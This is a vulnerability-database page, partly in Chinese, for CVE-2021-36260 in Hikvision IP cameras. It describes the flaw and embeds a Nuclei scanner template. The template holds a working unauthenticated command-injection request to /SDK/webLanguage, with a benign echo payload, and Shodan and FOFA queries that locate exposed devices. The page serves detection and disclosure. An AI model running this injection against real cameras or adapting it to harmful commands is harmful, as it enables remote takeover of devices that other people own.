CVE-2021-36260: Hikvision IP camera/NVR - Remote Command Execution

日期: 2025-08-01 | 影响软件: Hikvision IP camera | POC: 已公开

漏洞描述

Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.

PoC代码[已公开]

id: CVE-2021-36260

info:
  name: Hikvision IP camera/NVR - Remote Command Execution
  author: pdteam,gy741,johnk3r
  severity: critical
  description: Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the affected device.
  remediation: |
    Apply the latest firmware update provided by Hikvision to mitigate this vulnerability.
  reference:
    - https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
    - https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36260
    - https://github.com/Aiminsun/CVE-2021-36260
    - https://therecord.media/experts-warn-of-widespread-exploitation-involving-hikvision-cameras/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36260
    cwe-id: CWE-78
    epss-score: 0.94436
    epss-percentile: 0.99985
    cpe: cpe:2.3:o:hikvision:ds-2cd2026g2-iu\/sl_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hikvision
    product: ds-2cd2026g2-iu\/sl_firmware
    shodan-query: http.favicon.hash:999357577
    fofa-query: icon_hash=999357577
  tags: cve2021,cve,hikvision,rce,iot,intrusive,kev
variables:
  string: "{{to_lower(rand_base(12))}}"

http:
  - raw:
      - |
        PUT /SDK/webLanguage HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        <?xml version="1.0" encoding="UTF-8"?><language>$(echo {{string}}>webLib/x)</language>
      - |
        GET /x HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "{{string}}"
# digest: 490a00463044022017a11e966f22fb8a944208d815a895a6d8bf54a32431ec14ad8f0b14b36e0a7a02200f78ced1b2e78ef29681bea4a72b68e9163a1eeb64449bf80940cc712fb2b463:922c64590222798bb761d5b6d8e72950

相关漏洞推荐